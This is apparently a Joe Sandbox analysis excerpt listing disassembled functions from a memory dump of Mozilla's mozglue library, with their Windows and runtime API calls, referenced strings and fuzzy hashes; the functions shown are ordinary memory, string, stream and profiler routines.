abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF6CC65

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 27f6c59a988fb24c32e26853b6792c1781ba685327ec3022d41ab85b8c90a960
Instruction ID: 2c6b2d7b562b61863cd75bbf3e8406e7332031688f8cc2535b93d508fa7482cb
Opcode Fuzzy Hash: 27f6c59a988fb24c32e26853b6792c1781ba685327ec3022d41ab85b8c90a960
Instruction Fuzzy Hash: EF41B232A002058FDF04DF65C899A6D77B5FF89754F044069E94A9B362EB39EC05CF91

Function 6BF1BAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6BF1BC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6BF1BD06

Strings

0, xrefs: 6BF1BBCD
0, xrefs: 6BF1BC74
y, xrefs: 6BF1BC4E

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: 09bda60fe314191df5b32f1737c91283aa0b1c40a9928c97b040ed39a708a290
Instruction ID: 0a1c7e6807e1782185678c97a7d2ded8a2efe417f8bf8a5ec052d47d7eeea3c2
Opcode Fuzzy Hash: 09bda60fe314191df5b32f1737c91283aa0b1c40a9928c97b040ed39a708a290
Instruction Fuzzy Hash: 69619F72A08345CBC714CF38C59165BB7E5AF89344F008E6DE88597362DB38D9458792

Function 6BF20A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6BF7B80C,00000000,?,?,6BF2003B,?), ref: 6BF20A72

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

moz_xmalloc.MOZGLUE(?,?,6BF7B80C,00000000,?,?,6BF2003B,?), ref: 6BF20AF5
free.MOZGLUE(00000000,?,?,6BF7B80C,00000000,?,?,6BF2003B,?), ref: 6BF20B9F
free.MOZGLUE(?,?,?,6BF7B80C,00000000,?,?,6BF2003B,?), ref: 6BF20BDB
free.MOZGLUE(00000000,?,?,6BF7B80C,00000000,?,?,6BF2003B,?), ref: 6BF20BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6BF7B80C,00000000,?,?,6BF2003B,?), ref: 6BF20C0A

Strings

alloc overflow, xrefs: 6BF20C05

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: aa917f9d03da3ef9a3990820b16f83da7ac12acbbd01230f44d4d5e6942ef7b5
Instruction ID: 0a1b2ea1846b0e6a9582e7f0604fccdd047441a9349c571377b17ee9b414d170
Opcode Fuzzy Hash: aa917f9d03da3ef9a3990820b16f83da7ac12acbbd01230f44d4d5e6942ef7b5
Instruction Fuzzy Hash: D45192B7A002068FDB24CFA8C8A0A5AB3B6FF44308F54496DC456DB211EBB5A555CB51

Function 6BF178C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6BF9008B), ref: 6BF17B89
free.MOZGLUE(?,6BF9008B), ref: 6BF17BAC

Part of subcall function 6BF178C0: free.MOZGLUE(?,6BF9008B), ref: 6BF17BCF

free.MOZGLUE(?,6BF9008B), ref: 6BF17BF2

Part of subcall function 6BF35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF35EDB
Part of subcall function 6BF35E90: memset.VCRUNTIME140(6BF77765,000000E5,55CCCCCC), ref: 6BF35F27
Part of subcall function 6BF35E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF35FB2

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 0f6a3fa76a5daf33936a295afb2d109ac9d765b1928d959b2f713d85ae0d352c
Instruction ID: e7889b3fd7e44fe6f7df84fe5b77d0c768b43f6fa6f637b52a69e29a34fee6d9
Opcode Fuzzy Hash: 0f6a3fa76a5daf33936a295afb2d109ac9d765b1928d959b2f713d85ae0d352c
Instruction Fuzzy Hash: 59C1B5B3E091298BEB24CB28CC90B9DB772BF41314F104A99D51EA73E1D7399E858F51

Function 6BF61220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF61268
GetCurrentThreadId.KERNEL32 ref: 6BF612DA
InitializeConditionVariable.KERNEL32(?), ref: 6BF6134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6BF6138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6BF61431

Part of subcall function 6BF58AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BF71563), ref: 6BF58BD5

free.MOZGLUE(?), ref: 6BF6145A
free.MOZGLUE(?), ref: 6BF6146C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 56240fcfdcf16d1896f0c26eef3541fad19436a85cd6196bc502df756e13adda
Instruction ID: b0fb980dd86eb56af4672880986fa3100d2ce93de1543a50809fd8dcb5eb7ce9
Opcode Fuzzy Hash: 56240fcfdcf16d1896f0c26eef3541fad19436a85cd6196bc502df756e13adda
Instruction Fuzzy Hash: 6661C0769043419BDB10DF34C880BAAB7F5BFC6348F00995DED8987222EB39E559CB42

Function 6BF60F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF60F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF60F88
GetCurrentThreadId.KERNEL32 ref: 6BF60FF7
InitializeConditionVariable.KERNEL32(?), ref: 6BF61067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6BF610A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6BF6114B

Part of subcall function 6BF58AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BF71563), ref: 6BF58BD5

free.MOZGLUE(?), ref: 6BF61174
free.MOZGLUE(?), ref: 6BF61186

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: de75cfa7ee008aeba96b2c3b67074ea385ec2d82612c29cb9e365fcdf7db3659
Instruction ID: f2d38cc03d2d13f150107d695c0b48ef855f6a244e6ce9eadd696301de826e89
Opcode Fuzzy Hash: de75cfa7ee008aeba96b2c3b67074ea385ec2d82612c29cb9e365fcdf7db3659
Instruction Fuzzy Hash: 7161BF769143419BDB10DF34C881B5AB7F5BFD5348F00991DEC8947222EB79E549CB82

Function 6BF14B50 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6BF14667,?,?,?,?,?,?,?,?,6BF54843,?), ref: 6BF14C63
free.MOZGLUE(?,?,?,6BF14667,?,?,?,?,?,?,?,?,6BF54843,?), ref: 6BF14C89
free.MOZGLUE(?,?,?,6BF14667,?,?,?,?,?,?,?,?,6BF54843,?), ref: 6BF14CAC
free.MOZGLUE(?,?,?,?,?,?,?,6BF54843,?), ref: 6BF14CCF
free.MOZGLUE(?,?,?,?,?,?,?,?,6BF54843,?), ref: 6BF14CF2
free.MOZGLUE(?,?,?,?,?,?,?,?,6BF54843,?), ref: 6BF14D15
free.MOZGLUE(?,?,?,?,?,?,?,?,6BF54843,?), ref: 6BF14D38
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6BF14667,?,?,?,?,?,?,?,?,6BF54843,?), ref: 6BF14DD1

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1497960986-0
Opcode ID: 068662440d7c574b555dec3ca556ce6b4fdb94854716c061c8e457e7adaab0b8
Instruction ID: a61058dcd6759ed8e2acd0b43e388380214cb07a88a04acb30f744efec98169b
Opcode Fuzzy Hash: 068662440d7c574b555dec3ca556ce6b4fdb94854716c061c8e457e7adaab0b8
Instruction Fuzzy Hash: DF515273508A518FE7248A3CD9A475677A2AF8272CF504E1CE1A7CBBE1E339A4448F41

Function 6BF1E9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6BF21999), ref: 6BF1EA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6BF1EA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6BF1EA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6BF21999), ref: 6BF1EA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6BF21999), ref: 6BF1EAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6BF1EADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6BF1EB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6BF1EB27

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 6ba7d1f0ff8df203e645a04fb426bdbb0ff871cb9ff55784d5da18c4da267d35
Instruction ID: d3d4eab28da69cf0416c6cbc48d50f2738b7e05e36b46b7cc069a5ff88720ea0
Opcode Fuzzy Hash: 6ba7d1f0ff8df203e645a04fb426bdbb0ff871cb9ff55784d5da18c4da267d35
Instruction Fuzzy Hash: C641A4B2904216DFDB14CF68DC81AAEB7B4FF54254F140A28E815E77A4E734EA1487E1

Function 6BF6D310 Relevance: 12.1, APIs: 8, Instructions: 132threadtimeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF6D36B
GetCurrentThreadId.KERNEL32 ref: 6BF6D38A
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6D39D
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6D3E1
free.MOZGLUE ref: 6BF6D408

Part of subcall function 6BF4CBE8: GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
Part of subcall function 6BF4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

GetCurrentThreadId.KERNEL32 ref: 6BF6D44B
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6D457
ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 6BF6D472

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$Current$AcquireProcessReleaseThread$StampTerminateTimeV01@@Value@mozilla@@free
String ID:
API String ID: 3843575911-0
Opcode ID: ccedcf9ae3ece82e1d4d657c9c4a454e3c49c724cd0c0a0cbaae56148e30a747
Instruction ID: 45bcbc55623d6082cdce1356cefcc1d9e19f08a4b50211ab40de8650742d898c
Opcode Fuzzy Hash: ccedcf9ae3ece82e1d4d657c9c4a454e3c49c724cd0c0a0cbaae56148e30a747
Instruction Fuzzy Hash: 94410E769003058FCB04EF65C484BAEBBB5FF85354F20492DE99283360EB79E848CB91

Function 6BF1EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6BF95104), ref: 6BF1EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BF1EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF1EFEC
free.MOZGLUE(?), ref: 6BF1F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BF1F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6BF1F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF1F065
moz_xmalloc.MOZGLUE ref: 6BF1F072

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: db3c74439db167ba87600a675fa25a240c6f1bdc39831478ee54d2cd41e6afb7
Instruction ID: 5cf98ed095507d2e71cbbee76e99fe7e9e762d5306e965adf95ebd0e745b1c7f
Opcode Fuzzy Hash: db3c74439db167ba87600a675fa25a240c6f1bdc39831478ee54d2cd41e6afb7
Instruction Fuzzy Hash: 0941E9B3E041169FCB08CF78D8819AE7769AF94314B24062CE815D73A4EB75E911C7E1

Function 6BF29830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6BF77ABE), ref: 6BF2985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6BF77ABE), ref: 6BF298A8
moz_xmalloc.MOZGLUE(00000020), ref: 6BF29909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6BF29918
free.MOZGLUE(?), ref: 6BF29975

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 278559839a2db2f1e1b255cb38862609dca4a162abc5c5e745760de7deedf8e4
Instruction ID: dbc8ea434625439b51bc153e305f73eb4bf6121fd2300305ec2ae3a7bde55c08
Opcode Fuzzy Hash: 278559839a2db2f1e1b255cb38862609dca4a162abc5c5e745760de7deedf8e4
Instruction Fuzzy Hash: 9A719B766007058FC724CFA8C480956B7F1FF4A3247548AADD85A8B7A2DB35F841CF90

Function 6BF2B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6BF6CC83,?,?,?,?,?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF2B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6BF6CC83,?,?,?,?,?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF2B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6BF6CC83,?,?,?,?,?,?,?,?,?,6BF6BCAE), ref: 6BF2B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6BF6CC83,?,?,?,?,?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF2B896

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 3ac4e45b6b6842278fce1061d089f000e4e4d5e7c1fb99b6755861662672414b
Instruction ID: 1aad055013b183561edc4bc94b2b3fb2b53fab8978a30065b7f898766e88d313
Opcode Fuzzy Hash: 3ac4e45b6b6842278fce1061d089f000e4e4d5e7c1fb99b6755861662672414b
Instruction Fuzzy Hash: 78518E36B106008FCB15DF98C494A6ABBF5FF8D714B59885DE99A97362C735EC02CB80

Function 6BF54AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6BF54AB7,?,6BF143CF,?,6BF142D2), ref: 6BF54B48
free.MOZGLUE(?,?,?,80000000,?,6BF54AB7,?,6BF143CF,?,6BF142D2), ref: 6BF54B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6BF54AB7,?,6BF143CF,?,6BF142D2), ref: 6BF54B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6BF54AB7,?,6BF143CF,?,6BF142D2), ref: 6BF54BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6BF54AB7,?,6BF143CF,?,6BF142D2), ref: 6BF54BEE

Strings

pid:, xrefs: 6BF54BE8

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: 0e1e2565b09f5a547d71e81c30250a60c37996e2db46091414fddbeea9ae3799
Instruction ID: 8169ae8ddf47d0fc7f8e697c29fd39e8e60ac21a5c303684babb387ad86248d7
Opcode Fuzzy Hash: 0e1e2565b09f5a547d71e81c30250a60c37996e2db46091414fddbeea9ae3799
Instruction Fuzzy Hash: 9A411673B042159BCB14CFBCDC80A9FBBF9AF95224B140638E869D7395D7349924C7A1

Function 6BF7AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BF9E220,?), ref: 6BF7BC2D
ReleaseSRWLockExclusive.KERNEL32(6BF9E220), ref: 6BF7BC42
RtlFreeHeap.NTDLL ref: 6BF7BC82
RtlFreeUnicodeString.NTDLL(6BF9E210), ref: 6BF7BC91
RtlFreeUnicodeString.NTDLL(6BF9E208), ref: 6BF7BCA3
RtlFreeHeap.NTDLL ref: 6BF7BCD2
free.MOZGLUE(?), ref: 6BF7BCD8

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 179d7d4fe4c5990e9a44b3abc2185f1754fa8d1d4752fed4ddada19dc93d7283
Instruction ID: be698594cddf29068586774029a7ee120b0df9f9cca4cd1701161c9681a7727b
Opcode Fuzzy Hash: 179d7d4fe4c5990e9a44b3abc2185f1754fa8d1d4752fed4ddada19dc93d7283
Instruction Fuzzy Hash: AC21E173500715CFE720AF16E885B66B7B9FF42714F04C8AAE8195B621CB79E845CB90

Function 6BF238A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BF9E220,?,?,?,?,6BF23899,?), ref: 6BF238B2
ReleaseSRWLockExclusive.KERNEL32(6BF9E220,?,?,?,6BF23899,?), ref: 6BF238C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6BF23899,?), ref: 6BF238F1
RtlFreeHeap.NTDLL ref: 6BF23920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6BF23899,?), ref: 6BF2392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6BF23899,?), ref: 6BF23943
RtlFreeHeap.NTDLL ref: 6BF2396E

Memory Dump Source

